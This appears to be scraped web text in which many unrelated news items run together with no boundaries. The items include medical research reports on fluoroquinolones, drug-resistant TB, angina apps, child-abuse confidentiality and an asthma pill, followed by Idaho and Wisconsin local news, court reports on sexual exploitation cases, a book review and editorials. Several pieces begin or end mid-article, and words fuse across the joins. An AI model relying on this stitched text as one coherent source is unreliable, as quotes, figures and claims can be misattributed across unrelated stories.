The phenomenon observed in the new studywhere the hospitals that had active antimicrobial stewardship programs had higher rates of prescribing fluoroquinolones at dischargedeserves more scrutiny, says Vaughn.

Fourteen of the hospitals in the study had specific measures in place to require review of fluoroquinolone prescriptions during hospitalization.

In these hospitals, more than 78 percent of the supply of fluoroquinolones was prescribed at discharge, compared with 68 percent of the supply for the other 34 hospitals, nearly all of which had antimicrobial stewardship programs but didn't put special emphasis on fluoroquinolones.

It may be that while pharmacists and infection prevention specialists are keeping an eye on in-hospital prescribing, they don't have access to, or don't focus on, the prescriptions written at discharge. Electronic health record systems track both inpatient and discharge medications, but they are often in separate sections of the record.

In fact, says Vaughn, when the HMS team showed hospital-specific data on discharge antibiotic prescribing to the physicians in the partnership, it was the first time most had seen such data.

Since the data were shared, several hospitals in the consortium have begun paying special attention to discharge prescribing of fluoroquinolones, and others are preparing to. For example, a project is now underway to improve antibiotic prescribing at discharge at Michigan Medicine.

If prescribing drops, the side effects of the drugs should too. The researchers note that special focus on appropriate fluoroquinolone prescribing in the United Kingdom has resulted in a 60 percent drop in C. diff infections.

In the U.S., hospitals can be penalized financially if a high proportion of their inpatients develop C. diff infections during their stay. But those penalties don't apply if the patient develops C. diff after they leave the hospital.

For patients and families

Hospitalized patients don't usually express a preference for which antibiotic they receiveexcept for saying they have a penicillin allergy if they believe they do, Vaughn says.

Patients and their families can speak up about not wanting a fluoroquinolone in the hospital or at discharge, especially if they have conditions like diabetes, high blood pressure, history of aneurysm, or tendon/muscle problems. Patients with a history of C. diff should be especially wary.

Furthermore, says Vaughn, patients often think they have a penicillin allergy when they do not. If they tell their health care team they have a penicillin allergy when they haven't been tested to make sure, that might mean they'll be prescribed a higher-risk antibiotic.

Patients who have a past test confirming their penicillin allergy, or who experienced shortness of breath or hives after receiving a penicillin-containing drug, should make sure their record notes this. But patients who had an upset stomach or diarrhea after taking penicillin typically do not have an allergy, and should ask to be tested so they know for sure and can receive the lowest-risk antibiotic.

Even if the doctor recommends a fluoroquinolone specifically, patients and families can ask to be given the shortest course possible, to reduce the risk of side effects. Research has shown that often short courses of the drugs are safe and effective.

"In this era of choosing wisely in medicine, our mantra should be that less is more when it comes to antibiotics," says Vaughn.

Explore further Certain antibiotics tied to deadly heart vessel tears: FDAA high proportion of multidrug-resistant tuberculosis (TB) cases can be cured in conflict-affected communities with molecular diagnostics, shorter treatment periods and socioeconomic incentives, according to the results of a large, long-term study in the Democratic Republic of Congo (DRC) led by the University of Pittsburgh Graduate School of Public Health and Stellenbosch University in South Africa, in collaboration with the DRC National Tuberculosis Program.

The findings, reported today in the journal Clinical Infectious Diseases, could guide clinicians and public health workers in other post-conflict or low-income countries battling or at-risk for TB outbreaks.

TB is caused by a bacteria that usually attacks the lungs and spreads through the air when a person with an active TB lung infection coughs, sneezes or talks. According to the U.S. Centers for Disease Control and Prevention, a quarter of the world's population is infected with TB, though not all have active cases, and there are 1.3 million TB-related deaths annually. Some of the bacteria that cause TB have developed resistance to the antibiotics commonly used to treat it.

"Conventional treatment regimens for multidrug resistant TB can be as much as 1,000 times more expensive and take four times as long as treatment for regular TB. The cure rate is only about 50 percent, and treatment can have severe side effects, such as permanent hearing loss," said senior study author Jean B. Nachega, M.D., Ph.D., M.P.H., associate professor in the departments of Epidemiology and Infectious Diseases and Microbiology at Pitt Public Health, and director of the Centre for Infectious Diseases at Stellenbosch University. "Without effective therapy, people with multidrug-resistant TB can infect others who have never had TB before."

The Second Congo War, which started in 1997, caused massive disruption of health care services in the eastern DRC, contributing to an increase in TB cases and TB-related deaths. According to the World Health Organization, there were about 262,000 new cases of TB and 56,000 TB-related deaths in the DRC in 2017.

Nachega partnered with lead study author Andre N.H. Bulabula, M.D., M.Sc., a doctoral student in Stellenbosch's Department of Global Health and member of the Infection Control Africa Network, as well as colleagues from the DRC National TB Program, to evaluate 16,448 patients for TB between 2012 and 2017 in post-conflict DRC. They used a new molecular diagnostic tool called Xpert MTB/RIF to detect multidrug-resistant TB in less than two hours, something that can take several weeks using conventional tests. The scientists found TB in 1,535 patients, and 170 of them, or 11 percent, had a strain of TB resistant to the antibiotic rifampicin.

Patients with rifampicin-resistant TB were assigned to either receive a new nine-month regimen, which involved receiving four different antibiotics throughout, supplemented by three other antibiotics (including one injectable) during a four-month intensive phase, or the conventional 20- or 24-month treatment regimens, which involved five different antibiotics taken throughout, supplemented by one injectable antibiotic during a six-month intensive phase. All of the patients were assigned to "directly observed therapy," where a nurse at the local clinic, or a community health worker or trained family member at home observed the patient take their medication.

Of the patients who received the nine-month schedule, 83 percent were cured, compared to 74 percent of those receiving conventional therapy. The biggest predictors of success were the consistent use of directly observed therapy, the lack of serious drug side effects that can cause a patient to stop therapy, and the patient receiving cash incentives for adherence to treatment.

"In this challenging treatment setting, it is compelling that our findings are in line with those previously reported by observational studies in Bangladesh and other sub-Saharan African countries, as well as the interim results of an ongoing multinational randomized trial," said study co-author Zacharie M. Kashongwe, M.D., Ph.D., professor of pulmonology at the University of Kinshasa in the DRC.

Nachega added that the data should inform new multidrug-resistant TB care guidelines in low- and middle-income countries, including expanding use of the Xpert testing; prompt initiation of shorter, less-toxic drug regimens that are ideally entirely taken orally; involving trained community health workers in delivering TB services; and developing, as well as initiating, community-based drug-resistant TB prevention strategies.

Explore further Vitamin D helps treat lethal drug-resistant TB

More information: Andre N H Bulabula et al, Prevalence, Predictors, and Successful Treatment Outcomes of Xpert MTB/RIFidentified Rifampicin-resistant Tuberculosis in Post-conflict Eastern Democratic Republic of the Congo, 20122017: A Retrospective Province-Wide Cohort Study, Clinical Infectious Diseases (2018). Journal information: Clinical Infectious Diseases Andre N H Bulabula et al, Prevalence, Predictors, and Successful Treatment Outcomes of Xpert MTB/RIFidentified Rifampicin-resistant Tuberculosis in Post-conflict Eastern Democratic Republic of the Congo, 20122017: A Retrospective Province-Wide Cohort Study,(2018). DOI: 10.1093/cid/ciy1105Credit: CC0 Public Domain

A pilot program using several clinical decision support tools in the outpatient setting to treat and educate stable ischemic heart disease patients has shown success in improving angina in these patients. Findings from the Florida Cardiovascular Quality Network study were presented at the American College of Cardiology's Cardiovascular Summit in Orlando. The conference brings together top experts to discuss and review innovative, relevant cardiovascular management and leadership strategies.

Stable ischemic heart disease (SIHD) is a form of coronary heart disease that causes recurring chest pain or discomfortknown as anginawhen part of the heart does not receive enough blood. According to the researchers these patients typically have a complex medical presentation that requires the clinician to address a number of clinical factors. In stable angina patients, optimal cardiology care is achieved through compliance with SIHD guideline recommendations, including assessment of CV risk factors, quantitative scoring of angina symptomatology, documentation of appropriate use criteria (AUC) for diagnostic testing, as well as success rates in efforts to decrease CV risk factors.

"Clinical support toolsor appsare becoming an integral part of routine clinical procedure," said lead study author A. Allen Seals, MD, FACC, a cardiologist with St. Vincent's Healthcare in Jacksonville, Florida. "These tools do not promote 'cookbook medicine' but quite the opposite. They assist the provider in individualizing the care of each patient to follow national cardiovascular care guidelines."

Using data from the Florida Cardiovascular Quality Network, researchers analyzed 254 patients who all had angina symptoms and presented for clinical evaluation. There were 188 patients in group A, in which all patients did not have pre-existing SIHD, and 66 patients in group B, in which all patients did have pre-existing SIHD. The overall patient population was 53 percent female and 47 percent male and had an average age of 64 years.

Use of Apps in the Clinic Setting

Three apps were used in the study: ACC FOCUS as a clinical decision support app for imaging AUC documentation, Seattle Angina Questionnaire app to determine symptom severity and quality of life, and the CardioSmart Heart Explorer App to educate patients.

The apps were provided to the care teams in tablet format after determining other mobile devices and/or laptop hardware were either too small or too big for ease of use in the clinic setting. The tablet was shared by the team, and each patient's data was securely entered. The data output from each app was available and shared as routine clinical information available on each patient. This protocol was repeated at each patient visit: baseline, 3 months, 6 months and 12 months. The specific apps chosen were consistent with the underlying SIHD diagnosis.

"The ACC and other stakeholders publish guidelines that represent comprehensive clinical documents that have established the standard for optimal cardiovascular care," Seals said. "Clinical decision support tools [apps] effectively translate these guidelines into a format that assists the provider with the integration of guideline-based diagnostic and treatment recommendations into clinical practice."

ACC FOCUS

The ACC FOCUS app was developed for use in the clinic and collected patient-specific information and applied software-based AUC to assist in determining the most appropriate functional study (stress test) for the individual patient. FOCUS has since been discontinued. Instead, the algorithms used are now available for licensing to clinical decision support mechanism (CDSM) vendors in order to provide institutions with more choices in how to meet the approaching federal AUC mandate start date on Jan. 1, 2020.

Clinic sites in the study used FOCUS for imaging AUC documentation. Researchers found imaging AUC was appropriate 91 percent of the time, possibly appropriate 8 percent of the time and rarely appropriate 0.8 percent of the time.

Seattle Angina Questionnaire

The Seattle Angina Questionnaire is recognized as the most reliable, most reproducible and most clinically useful quantitative measurement of angina symptomatology and is the most commonly utilized clinical decision support tool for the determination of symptoms in SIHD patients. It utilizes a series of questions that are then reported on a five score system: summary score, angina severity, angina frequency, quality of life and physical limitation. All five Seattle Angina Questionnaire scores are quantified on a scale of 0-100 with 100 equivalent to an asymptomatic or highest quality of life score.

For the purposes of the study, a proprietary app was developed that presented the Seattle Angina Questionnaire in an electronic format that was easy for patient understanding and was readily adopted. At the baseline visit and the 12-month visit, patients' average Seattle Angina Questionnaire scores were as follows:

Angina Frequency: 84 vs. 94

Angina Severity: 70 vs. 81

Quality of Life: 65 vs. 90

CardioSmart Heart Explorer

The ACC's CardioSmart Heart Explorer app is a highly interactive software designed as both a patient risk factor modification tool, as well as a resource for physicians and cardiac care team professionals. It is organized by heart conditions, heart drugs, heart treatments, heart basics and healthy living. The healthy living tab has a large amount of basic and advanced information in a user-friendly format designed to enhance patient education, promote patient compliance and ultimately improve a patient's risk factor profile. The researchers also helped patients use the main CardioSmart website: CardioSmart.org.

Researchers found the CardioSmart Heart Explorer app assisted in effective risk factor medication in 81 percent of patients.

Apps in Practice and Going Forward

"Importantly, the utilization of multiple apps proved to be clinically feasible and did not overly impair efficiency of the team-based providers," Seals said. "In a team-based environment, patients should welcome the utilization of apps at the point of care and have confidence that these apps will have excellent value to their provider to improve the quality of cardiovascular care."

According to the Florida researchers, other key questions that need to be answered include whether structured use of apps at the point of care can be proven to impact quality of care in a larger patient population as well as in other disease states such as high cholesterol or atrial fibrillation. Also, it remains to be demonstrated that a systematic utilization of clinical decision support apps will positively impact long term outcomes such as decreasing hospitalizations and lowering mortality.

The Florida Cardiovascular Quality Network plans to expand the number of clinical sites and the number of team-based providers supported by this innovative method of bringing American College of Cardiology guidelines and clinical decision support tools to the point of patient care.

Explore further Heart attack patients without obstructive coronary artery disease at high risk of residual anginaCredit: Pixabay / CC

How long should and may a doctor remain silent if he suspects child abuse? A GP who often sees the whole family, or a paediatrician, fills a crucial role when it comes to picking up signals of child abuse. Mirjam Sombroek-van Doorm examined how tenable professional confidentiality of medical practitioners is and will defend her doctoral thesis on 19 February.

Child abuse generates considerable public and political interest, according to Sombroek-van Doorm. "Doctors are very important when it comes to preventing and combatting child abuse. For instance, a GP is often aware of domestic quarrels, of a father who drinks too much and can be aggressive towards his children, or a mother who neglects her child." But doctors are bound to professional confidentiality. This safeguards the privacy of their patients and in addition serves the public interest since citizens are entitled to unrestricted access to medical care without the fear that their medical data will be made public. For these reasons, medical confidentiality is firmly enshrined in law.

"Remaining silent, or speaking out; this is what my thesis deals with. It appears to be a difficult topic not just for medical practitioners, but also for the House of Representatives and for the legislature in the Netherlands. An increasing desire is heard in politics to place more emphasis on 'speaking out.' But this immediately conflicts with the statutory requirement of the medical practitioner to remain silent. For this reason, I have examined how these different interestsremaining silent and speaking out  can be reconciled and also how this can be incorporated in law."

Ending the tension

It frequently became clear throughout the research period just how topical this issue is. "Last year, the Regional Disciplinary Tribunal in The Hague decided in a case where the doctor in question had perhaps breached professional confidentiality without due care, that no disciplinary measure was to be imposed because it had not been clear for the doctor in which way non-compliance with medical confidentiality would be tested. Such uncertainty is of course not desirable. Not for the doctor, who could become too cautious when exchanging information with other bodies, such as hotline Veilig Thuis (Safe at Home). And certainly not for children who are possibly victims of child abuse and who need help as fast as possible. In my thesis I have tried to put an end to this tension."

Sombroek-van Doorm distinguishes three situations in her thesis. "The first is where a medical practitioner has received signals of child abuse. He must investigate the signals and if necessary report his findings to Veilig Thuis. A step-by-step plan exists for this." The problems arise in the two other scenarios: when a medical practitioner wants to report a suspicion of child abuse to a different organisation than Veilig Thuis, for example the Child Care and Protection Board, because an emergency intervention is necessary; and when for example the Child Care and Protection Board or Veilig Thuis requests information from a medical practitioner in connection with an investigation they have instigated. "In these situations, it is not clear at all how the doctor can review his consideration of whether or not to provide information. And so it is also not clear whether he must remain silent or provide information. This is not a good situation."

Sombroek-van Doorm concludes that the duty of due care can be seen as a solution to problem areas in medical confidentiality. "We must see medical confidentiality within the context of the duty to provide good care. In the case of child abuse, doctors must go through a number of steps and if their suspicion is refuted, they remain silent. Otherwise, they must speak out. Remaining silent and speaking out are thus part of the doctor's duty to provide due care."

In addition, the researcher concludes that 'speaking out' in cases of child abuse is no longer seen as an exception to the thou-shalt-be-silent rule for doctors. "A ground for exception in breaching the medical confidentiality, the so-called 'conflict of duties," no longer applies to medical confidentiality in the context of child abuse. This ground for exception is based almost exclusively on the assumption that the doctor 'remains silent  unless," and this is not in line with the stance politics has taken when it comes to preventing and combating child abuse.

Sufficient certainty

Sombroek-van Doorm has drawn up a roadmap for cases where a doctor is asked to provide information in an investigation concerning child abuse. "Such a roadmap already exists for when a doctor wants to make a report himself and in practice this appears to provide sufficient certainty. It would be prudent to provide clarity in the situation when the doctor must provide information not only to Veilig Thuis, but also for example to the Child Care and Protection Board. This situation is also incorporated in the roadmap."

With her research, Sombroek-van Doorm wishes to serve both medical practitioners and the judicial system. "There is a clear need for more clarity on how to deal with medical confidentiality in situations concerning child abuse. I therefore hope that these conclusions and recommendations will be adopted in the professional code for doctors, the KNMG (Royal Dutch Medical Association) reporting code. Child abuse after all cannot be combated by placing the emphasis on remaining silent, but rather by providing proper care to children and families. And finally, I believe my findings in relation to child abuse apply almost identically to another issue in society today: abuse of the elderly."

Explore further Fractures in children often indicate abuseObstruction of the lumen of a bronchiole by mucoid exudate, goblet cell metaplasia, and epithelial basement membrane thickening in a person with asthma. Credit: Yale Rosen/Wikipedia/CC BY-SA 2.0

Results from a phase II clinical trial, experimental work on cells and computational modelling have together shown why the first pill for asthma in 20 years can help reduce asthma attacks.

Researchers from Leicester (UK) and Vancouver (Canada) have shown that the investigational drug, Fevipiprant (an oral, selective prostaglandin D2 receptor antagonist), reduces the amount of smooth muscle in the airway lining. The findings are published in Science Translational Medicine today (13 February).

Professor Chris Brightling, a consultant respiratory physician at Leicester's Hospitals and professor of respiratory medicine at the University of Leicester, said: "Our research shows for the first time that Fevipiprant not only reduces inflammation in the airways, but also reduces the amount of muscle in the lining of the airway. This is likely to explain some of the effects seen in the symptoms and breathing tests following treatment."

An increase in airway smooth muscle is the strongest predictor of reduced airflow into the lungs due to airway narrowing. It significantly increases the likelihood of more frequent asthma attacks and even asthma-related deaths.

The research was supported by the National Institute for Health Research (NIHR) Leicester Biomedical Research Centre. Professor Brightling, who is also an NIHR senior investigator, added: "From previous trials conducted we found that Fevipiprant led to improvements in symptoms, breathing tests, inflammation and also helped to repair the lining of patients' airways.

"Our latest research gives us a better understanding of the mechanisms behind the efficacy of the drug and how changes in one part of the airway wall can impact on others. Our findings suggest that Fevipiprant could have positive long-term effects upon the progression of the disease through remodelling, as well as improve symptoms and reduce attacks."

Dr. Ruth Saunders, a research fellow at the University of Leicester who led the experimental laboratory-based work in the study, said: "One novel aspect of our study was the way we combined information from a clinical trial, laboratory experiments and computer based models to give insights that would not have been possible with any of these approaches alone."

Dr. Himanshu Kaul, who is now a postdoctoral fellow in the School of Biomedical Engineering at the University of British Columbia, led the computational modelling. He said: "Our computer model represents a milestone towards patient-specific models in respiratory medicine that has the potential to help design new drugs and optimise existing therapies. Eventually, it could play a role in furthering precision medicine by helping predict the optimal intervention tailored to individual patients given their genomic information."

Asthma affects over 300 million people worldwide and its prevalence is on the increase. There are around half a million people with moderate to severe forms of asthma in the UK.

There is currently no routinely-available drug on the NHS that targets smooth muscle mass to reduce asthma symptoms. For people with severe asthma, a procedure called thermoplasty, which uses thermal energy to decrease the amount of smooth muscle in the airways, may be offered. This requires sedation in hospital and is not a cure, nor suitable for everyone. Most patients with severe asthma rely on high dose inhaled or oral steroids to manage their symptoms.

Fevipiprant's potential to reduce the need for patients to take oral steroids either continuously or for attacks could be seen as a positive step, given the range of possible side-effects associated with steroids. These include weight gain, osteoporosis, diabetes and high blood pressure. The more patients take steroids to manage their asthma symptoms, the less effective the same doses become in future.

The research, including the cellular experimental work and computational modelling, was funded by the Swiss pharmaceutical company, Novartis, AirPROM and the NIHR Leicester Biomedical Research Centre.

"Fevipiprant has the potential to significantly improve the treatment of asthma patients who do not achieve disease control on optimised inhaled therapy." said Linda Armstrong, MD, Head Respiratory Development Unit, Novartis. "This trial result is an encouraging step forward. We look forward to the completion of our currently ongoing phase 3 clinical development program and hope to make this once daily oral treatment with fevipiprant available to patients as quickly as possible."

Explore further Asthma pill could reduce symptoms in severe sufferers

More information: R. Saunders el al., "DP2 antagonism reduces airway smooth muscle mass in asthma by decreasing eosinophilia and myofibroblast recruitment," Science Translational Medicine (2019). Journal information: Science Translational Medicine R. Saunders el al., "DP2 antagonism reduces airway smooth muscle mass in asthma by decreasing eosinophilia and myofibroblast recruitment,"(2019). stm.sciencemag.org/lookup/doi/  scitranslmed.aao6451Last Thursday, we introduced HJM 2, which focuses on our need to raise the Anderson Ranch Dam. Water is the lifeblood of Idahos agriculture, recreation and economy. Raising this dam is the first step in helping ensure that people in the Boise River Basin have one of the most important resources for their future  water.

Three dams help to protect and manage the water in the Boise River: Anderson Ranch Dam, Arrowrock Dam, and Lucky Peak Dam. Together they provide a total water storage capacity of more than one million acre-feet. All that water provides critical irrigation, flood protection, river maintenance, wildlife habitat, recreation, and commercial and municipal uses. All told, the dams contribute nearly $1.5 billion to Idahos economy. But they may eventually fall short in meeting Idahos growing water needs.

Last year, 35,000 people moved into Idaho. The Idaho Water Resource Board says the Treasure Valley alone could grow by almost one million people by the year 2065. We need to protect as much of our water as possible to ensure that we can meet our current and future demands.RUPERT  Mindoka County schools will close early Wednesday  at 12:30 p.m.  due to snow.

The Minidoka County School District posted the announcement on its Facebook page and website around 11:15 a.m.

Elsewhere across south-central Idaho, all Blaine County School District schools and Syringa Mountain School in Hailey are closed due to snow.

Camas County School District in Fairfield is closed due to inclement weather. Hollister Elementary School is closed and Filer High School students who live in Hollister will be excused if they miss school Wednesday.

Gooding School District is closed Wednesday and Thursday due to illness. Classes will resume Tuesday after being off for President's Day.

North Valley Academy in Gooding is also closed due to illness.

Love 0 Funny 0 Wow 1 Sad 0 Angry 0TWIN FALLS  Safety and Business Fest of the Great Northwest  Southern Idaho is celebrating its 10th year of providing free safety and business training for the Magic Valley regional workforce.

This event is open to contractors, small business owners, professional technical educators, city workers or anyone interested in creating a safer, more productive workplace or improving their business skills.

With more than 50 classes, demonstrations and workshops offered, attendees will have plenty of options to best suit their needs. Examples of training topics include Natural Gas Emergency and Pipeline Safety, Why Wellness is Important to Health and Safety, Intro to the Seven Habits, Workers Compensation Compliance, How to Create a Safety Culture, OSHA 10 (General Industry), Rigging Application and Inspection, Insurance 101, Communication Techniques to Effect Change, CPR/First Aid/AED and many more.

This years event takes place from March 25 to 27 at the Health Sciences and Human Services Building, North College Road, Twin Falls.

Early registration is encouraged as classes fill up quickly. To register, go to workforce.csi.edu/events/safety-fest/default.aspx.

Safety and Business Fest is sponsored by Agropur and Hilex-Poly and hosted by the College of Southern Idaho Workforce Development and Training Center.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0BOISE  A 44-year-old Twin Falls man was sentenced Monday for insurance fraud, Idaho Attorney General Lawrence Wasden announced.

Tony A. Herschler pleaded guilty in November. On Feb. 11, Senior District Court Judge Thomas Ryan sentenced Herschler to serve three to six years in prison, but suspended the sentence, according to a statement from the AGs office.

Instead, Herschler will serve three years of probation and 180 days in jail, with 160 days as discretionary. He received credit for time served and is eligible to complete the remaining jail time with community service hours, the statement said.

The court ordered Herschler to pay $880 in restitution to the Idaho Department of Insurance, $1,500 to Liberty Mutual, and court costs.

An investigation revealed Herschler purchased a renters insurance policy with Liberty Mutual on Oct. 1, 2016. Eight days later, he filed a claim with the company and stated his room at the Super 7 Motel in Twin Falls had been burglarized and $33,360 in personal property was stolen, the statement said.

He claimed the items stolen included a diamond ring, 10-ounce gold bar, a 1798 silver dollar, two 1917 George Washington dollar notes, a PlayStation 4 and 147 games, according to the statement.A man and woman from Twin Falls have been sentenced to probation and fines for lying about being caregivers for a person who was actually out of the country.KETCHUM  The 12th annual Family of Woman Film Festival, with the theme "Women on the Margins," has announced it will include speaker Suzanne Bowles, the head of the Tostan Global Mobilization Team.

The POV breakfast talks and presentations will take place Feb. 27 and 28 at the Knob Hill Inn, 960 N. Main St., Ketchum, for donors of $500 and more.

Tostan, which means breakthrough in the Wolof language, has become a leading model for community-led change  implemented in 22 languages across six African countries: Guinea, Guinea-Bissau, Mali, Mauritania, Senegal and the Gambia. More than half of the participants are women; at least nine members of the 17-member community management committees must be women.

Tostan has touched about 2 million lives since its founding in 1991 as participants share their knowledge of human rights and responsibilities to interconnected groups and social networks. Through this knowledge, communities in the Tostan network have chosen to abandon female genital mutilation and other harmful practices.John Nygren, R-Marinette, is generally correct when he favorably compared Wisconsin to Illinois in a variety of areas, in his Feb. 5 guest column, "Lets keep Wisconsin the land of opportunity."

Rep. John Nygren: Let's keep Wisconsin the land of opportunity One year ago, the Chicago Tribune wrote in an editorial: Take a short drive from Chicago and youve reached the land of job opportunity. Too 

He concluded that continuing Wisconsin's path established under former Gov. Scott Walker and the Republican-led state Legislature is the way to move Wisconsin forward, whereas a more progressive agenda implicitly favored by new Gov. Tony Evers would move Wisconsin backward.

But Illinois is probably not the most apt state for comparison with Wisconsin. A more similar state to Wisconsin is Minnesota, in terms of population, demographics, history and culture. By many measures, Minnesota has outperformed Wisconsin in the past decade: economic growth, wage growth, job creation and health insurance coverage. Furthermore, Minnesota has done this without massive corporate welfare, deregulation of environmental protections, anti-union legislation, voter suppression and defunding of education and infrastructure.

And Rep. Nygren knows all this. I would invite him to update his guest column to include Minnesota, and see if he can still make his case. But I doubt he can, because I think he intentionally and cynically excluded Minnesota from his argument.

Dan Sidney, MadisonToo many children, especially in rural Wisconsin, are going without proper dental care.

Part of the problem is money. Dentists dont get paid enough to work on Medicaid patients, so some refuse to accept or limit how many subsidized patients they will treat. According to the Wisconsin Dental Association, dentists here are reimbursed just 27 cents for every dollar of Medicaid work.

Thats why Gov. Tony Evers wants to include more state and federal money in the next state budget to raise Medicaid reimbursement rates. We support that, and the Legislature should, too.

The Democratic governor also wants to help fill Wisconsins estimated shortage of 200 dental providers by licensing mid-level dental therapists. Under the supervision of dentists, dental therapists would perform basic procedures such as fillings and extractions, freeing up dentists to do more advanced work.A federal magistrate judge ordered a Madison man accused of sexually exploiting a 14-year-old Tennessee runaway to remain behind bars after finding Tuesday that there was probable cause to support the charge against him.

U.S. Magistrate Judge Peter Oppeneer said he was making no judgment about whatever motives Bryan Rogers, 31, may have had when he is alleged to have persuaded the 14-year-old girl to make a video of herself being sexually assaulted by an adult, or about the likelihood of success that prosecutors would have of getting a conviction.

But he said there was enough evidence presented to him at a preliminary hearing to believe that Rogers violated a federal law by persuading the girl to make the video and then send it to him across state lines.

Rogers was charged in a criminal complaint on Feb. 4 with sexual exploitation of the girl by persuading her to capture on video herself being sexually assaulted by a man in her hometown of Madisonville, Tennessee. Rogers drove to Tennessee and picked up the girl on Jan. 14, the complaint states, and brought her to his mothers home on Madisons North Side, where he kept her hidden until authorities found her on Jan. 31.While I was growing up, Mother often set the dining room table with themes to celebrate special moments while the three meals of the day were being served and appreciated. Valentines Day meant frilly white linens accented with small red hearts, pretty napkins, red candles, and a bouquet of red flowers placed in the center of the table.

February 14th was also the sweetest day of the year to remember, and for me that meant forever recalling the year when a giant chocolate kewpie doll stood at attention on the frilly white table cloth by my dinner plate. I loved what I saw but couldnt imagine where Id begin nibbling on what Daddy so proudly brought home for me to enjoy.

The only thing missing today to remind me of the chocolate kewpie doll was not having a picture taken with Mothers special Kodak pop-up camera. It seemed that she captured other special childhood moments that today fill a collection of bulging photo albums, but for some reason, not that day.

I may not remember what I had for supper last night, but the chocolate kewpie doll, larger and more beautiful than any Ive ever seen since then, I can see and taste that like it was just yesterday.Alliant Energy Chairman and CEO Patricia Kampling has announced plans to retire this summer from the utility company shes led for the past seven years.

The Madison-based company, which owns utilities in Wisconsin and Iowa, announced Wednesday that chief operating officer John Larsen has been appointed to the board of directors and will become CEO and chairman of the board on July 1.

Larsen, 55, joined the company in 1988 as an electrical engineer and has served as an executive since 2004. In December he was named chief operating officer of the parent company and CEO of both subsidiaries.

According to a filing with the Securities and Exchange Commission, Larsens base salary will be $900,000 with the potential to earn up to three times that amount in bonuses.

Kampling, 59, joined Alliant in 2005 and took over as chair and CEO in 2012. She plans to retire on July 1. Kampling's earned just over $6.5 million in total compensation in 2017, according to Alliant's most recent filing.A lot of our exhibits were a little bit dated, you know, and theyre original, and so well be able to update all of that infrastructure but also give great new spaces for the birds, Smith said. So the birds will have more room, more natural landscaping.

Visitors will be able to view more birds without fencing behind them or netting above them disrupting the scene, said Visitor Program Manager Cully Shelton. Some exhibits were already fence-free, but more will be enclosed by a see-through mesh after the renovation.

Smith said ICF clips the birds feathers  its painless and the feathers grow back  to prevent them from flying off, which is why they dont need netting above them.

CLR Design, an architecture firm based in Philadelphia, focuses largely on zoo design. The International Crane Foundation chose the firm partly for that experience and its ability to maintain prairies. CLR knows what birds needs are, Shelton said.

Smith noted the architects and contractors have communicated well with ICF staff, making for a smooth planning process. Foundation leaders meet weekly with CLR and Vogel to make sure everything is on track, Smith said. Soon Shelton and his team will start working on plans for the educational and interpretive aspects of the project, such as how the trails will look.RACINE  Charges against a Racine woman accused of repeatedly sexually assaulting a man she babysat a decade ago were dismissed Friday after the state could not find the accuser in the case.

The prosecution said it could not meet its burden of proof to charge Shirley Z. Mooney, 71, of Racine, with repeated first-degree felony sexual assault of a child.

Instead, the state moved to dismiss the case against Mooney without prejudice, meaning the charges could be refiled in the future.

If convicted, Mooney would have faced up to 60 years imprisonment.

Victim comes forward

According to the criminal complaint, Mooney operated a day care out of her apartment at 2700 Anthony Lane, where she baby-sat the alleged victim numerous times a week for several years.

In January 2018, the accuser told Racine police investigators that Mooney had sexually assaulted him multiple times while in her care from 2005 to 2008, when he was between the ages of 5 to 8.

An unnamed woman went with the young man to the Police Department and told officers he recently told her what had happened.Pets as family and community members

Because pets are considered family members by many people, the loss of a dog or cat is often a cause for deep grief. A missing or dead pet is hard for many to replace because the relationship between the person and pet was specific to those individuals. The attachment between humans and animals is often so strong that it is common to mourn in a way that is very similar to the feelings and behaviours associated with the loss of a human family member.

The bond between humans and animals is not just good for human health, it can also help build community. People with pets often find that activities with their companion animal creates connections with other people. Social networks that are developed based on shared concern over the welfare of animals can lead to increased human-human interaction, as well as activities involving pets (e.g. dog-walking clubs). Walking a dog gets people out of private spaces, which can be isolating, and into public areas where interactions with neighbors and other walkers are possible.

Protecting pets"You Know You Want This" by Kristen Roupenian; Scout Press (225 pages, $24.99)

___

"Love breeds monsters" in Kristen Roupenian's evocative debut short story collection, "You Know You Want This," full of dark missives from lust's front lines. The tone of the dozen mostly macabre stories ranges from realistic to Gothic to truly horrific.

Roupenian deftly captures the #MeToo zeitgeist in "Cat Person," which went viral when it was originally published in the New Yorker. Self-conscious but not self-aware college student Margot decides it would be too awkward to back out of sex with the older Robert; of course, the sex and its aftermath are more awful yet. In "The Good Guy," the day of reckoning has arrived for a man who seduces women with his "nice" act.

Several tales depict "slippery magic." In the grimly humorous "Scarred," a woman gradually destroys the perfect man she has conjured as she performs subsequent spells, rationalizing that she'll "find some other love." An unpopular girl avenges herself and her jilted mom with a game of "Sardines." A princess falls irrevocably in love with her own image in "The Mirror, the Bucket, and the Old Thigh Bone." A Peace Corps volunteer finds himself tormented by the schoolgirls he's teaching in "The Night Runner."Police are called, but surprisingly they are little help: "The officer interrupts Kimber: 'Mr. Wilson said he found the listing on a rental website a week ago and that he rented the house sight unseen. He said you told him you were moving in with your boyfriend and that you would appreciate it if he took care of the yard as well.'"

The problem is that the mysterious "Mr. Wilson" also has a lease with Kimber's signature on it.

And when she tries to push her way into her house, she accidentally falls on Wilson, who says to her quietly: "I was there. I saw what you did."

This threat deepens the mystery into each person's background.

Benedict researched the possibilities of a stranger squatting in someone's home.

"It does happen in different ways, usually when somebody has abandoned a property." Because there is a lease with what looks like a legitimate signature, the police are unable to throw Wilson out, she says.

"That really complicated things and puts Kimber's sanity into danger," she says. "The lease is sort of covering me. It's a very squishy area. The police can ask people to come out but can't force them."Madison will vote next Tuesday in a mayoral primary that has the potential to define the citys future for years, even decades, to come. From a crowded field of credible contenders, two candidates will emerge and face one another in the April 2 general election.

The Capital Times does not generally make endorsements in primary races. There can be exceptions. If a candidate stands out as being heads and shoulders above the other contenders, we may weigh in. And, certainly, if we feel that there is a candidate who is so atrocious that they must be opposed and beaten, we will take a stand.

Theres no one so atrocious on this years list of serious contenders that we feel a need to warn against them. Nor is there a candidate who is so dramatically superior to the rest that we feel an endorsement is warranted.

We'll endorse before the general election.

For now, however, we'll offer some impressions of where things stand, and lots of encouragement to get out and vote.The syllabus, which students can use to decide whether to take the course, says that the Trump presidency is the most "unconventional presidency in American history, with a president who gleefully flouts the norms of governing and presidential behavior that have structured the office since George Washington." It goes on to say Trump supporters "rejoice in his contempt for what they insist is a corrupt D.C. establishment. If elites are against it, Trump's supporters are for it."

Now if that isn't an accurate description of Trump's presidency, nothing is.

